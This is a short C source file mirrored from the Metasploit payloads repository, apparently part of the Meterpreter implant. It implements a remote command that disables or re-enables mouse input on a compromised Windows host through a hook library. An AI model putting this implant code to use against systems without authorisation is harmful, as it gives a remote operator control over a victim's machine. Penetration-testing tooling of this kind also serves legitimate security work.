mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-18 07:11:12 +02:00
37 lines
846 B
C
37 lines
846 B
C
#include "precomp.h"
|
|
|
|
extern HMODULE hookLibrary;
|
|
|
|
/*
|
|
* Enables or disables mouse input
|
|
*/
|
|
DWORD request_ui_enable_mouse(Remote *remote, Packet *request)
|
|
{
|
|
Packet *response = packet_create_response(request);
|
|
BOOLEAN enable = FALSE;
|
|
DWORD result = ERROR_SUCCESS;
|
|
|
|
enable = packet_get_tlv_value_bool(request, TLV_TYPE_BOOL);
|
|
|
|
// If there's no hook library loaded yet
|
|
if (!hookLibrary)
|
|
extract_hook_library();
|
|
|
|
// If the hook library is loaded successfully...
|
|
if (hookLibrary)
|
|
{
|
|
DWORD (*enableMouseInput)(BOOL enable) = (DWORD (*)(BOOL))GetProcAddress(
|
|
hookLibrary, "enable_mouse_input");
|
|
|
|
if (enableMouseInput)
|
|
result = enableMouseInput(enable);
|
|
}
|
|
else
|
|
result = GetLastError();
|
|
|
|
// Transmit the response
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|